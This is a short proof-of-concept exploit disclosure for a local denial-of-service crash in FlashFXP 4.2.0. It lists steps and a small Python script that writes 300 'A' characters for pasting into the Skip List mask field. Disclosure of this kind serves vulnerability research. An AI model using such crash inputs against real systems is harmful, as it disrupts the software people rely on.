# Exploit Title: FlashFXP 4.2.0 Build 1730 - Denial of Service (PoC) # Vendor Homepage: https://www.flashfxp.com/ # Software Link Download: https://www.filehorse.com/download-flashfxp/22451/download/ # Exploit Author: Paras Bhatia # Discovery Date: 2020-03-30 # Vulnerable Software: FlashFXP # Version: 4.2.0 Build 1730 # Vulnerability Type: Denial of Service (DoS) Local # Tested on: Windows 10 Pro (64 bit) #Steps to Produce the Crash: # 1.- Run python code: FlashCrash.py # 2.- Copy content to clipboard # 3.- Open "FlashFXP.exe" # 4.- Go to "Options" > Filters > Skip List > New Entry # 5.- Paste ClipBoard into the "Mask" field # 6.- Click on OK # 7.- Go to "Options" > Filters > Skip List # 8.- Crashed ################################################################################################################################################# #Python "FlashCrash.py" Code: buffer = "\x41" * 300 f = open ("FlashCrash.txt", "w") f.write(buffer) f.close()